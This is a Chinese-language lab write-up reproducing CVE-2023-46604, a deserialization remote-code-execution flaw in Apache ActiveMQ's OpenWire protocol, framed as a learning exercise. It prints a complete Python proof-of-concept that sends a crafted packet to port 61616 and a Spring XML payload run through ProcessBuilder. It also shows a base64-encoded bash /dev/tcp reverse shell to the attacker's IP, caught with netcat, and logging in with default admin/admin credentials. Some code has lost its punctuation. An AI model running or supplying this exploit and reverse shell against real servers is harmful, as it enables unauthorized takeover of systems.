0x00 前言声明本文仅做学习交流遵守《网络安全法》。先了解一下原理CVE-2023-46604 是OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前OpenWire协议通信过程中存在一处反序列化漏洞该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型导致代理的类路径上的任何类实例化从而执行任意命令。因此该漏洞思路为通过poc对61616端口进行攻击从而达到执行任意代码的目的。0x01 CVE-2023-46604先通过nmap进行扫描。发现存在5005、8161以及61616端口。访问8161端口使用默认用户名密码adminadmin进入主界面。通过poc进行远程命令执行。先看一下poc.py的内容import io import socket import sys def main(ip, port, xml): classname org.springframework.context.support.ClassPathXmlApplicationContext socket_obj socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket_obj.connect((ip, port)) with socket_obj: out socket_obj.makefile(wb) # out io.BytesIO() # 创建一个内存中的二进制流 out.write(int(32).to_bytes(4, big)) out.write(bytes([31])) out.write(int(1).to_bytes(4, big)) out.write(bool(True).to_bytes(1, big)) out.write(int(1).to_bytes(4, big)) out.write(bool(True).to_bytes(1, big)) out.write(bool(True).to_bytes(1, big)) out.write(len(classname).to_bytes(2, big)) out.write(classname.encode(utf-8)) out.write(bool(True).to_bytes(1, big)) out.write(len(xml).to_bytes(2, big)) out.write(xml.encode(utf-8)) # print(list(out.getvalue())) out.flush() out.close() if __name__ __main__: if len(sys.argv) ! 4: print(Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 http://192.168.0.101:8888/poc.xml) exit(-1) main(sys.argv[1], int(sys.argv[2]), sys.argv[3])可以看到 使用的命令 为python3 poc.py 靶机IP 61616端口 http://攻击机IP:攻击机端口/poc.xml该poc调动了poc.xml文件因此再看一下poc.xml文件内容。?xml version1.0 encodingUTF-8 ? beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuetouch/value value/tmp/activeMQ-RCE-success/value /list /constructor-arg /bean /beanspoc.xml的功能是在靶机创建一个activeMQ-RCE-success的文件。了解完功能之后开始实验。通过在攻击机开启python服务。python3 -m http.server 9999执行poc.py。查看服务端。回到靶机看到poc已经成功执行。那么说明命令执行已经可行了。因此更改poc.xml的内容重新执行poc.py。开启nc进行监听。nc -nlvp 8888查看本机IP。 //吃过的亏poc写的没问题结果攻击机IP变了。将bash进行base64编码。echo bash -i /dev/tcp/192.168.217.179/8888 01 | base64将poc.xml中的payload部分替换成base64编码。?xml version1.0 encodingUTF-8 ? beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value value{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNzkvODg4OCAwPiYxCg}|{base64,-d}|{bash,-i}/value /list /constructor-arg /bean /beans重新执行poc.py。查看服务端。查看nc。进行命令执行验证。0x02 总结有师傅发现服务端好像多了好几行回显当时情况是在第一次开启服务端时没有在poc.xml文件目录下启动。做渗透没有一帆风顺的本质是一个试错的过程。所以多尝试别放弃愿每一次实验都有新收获。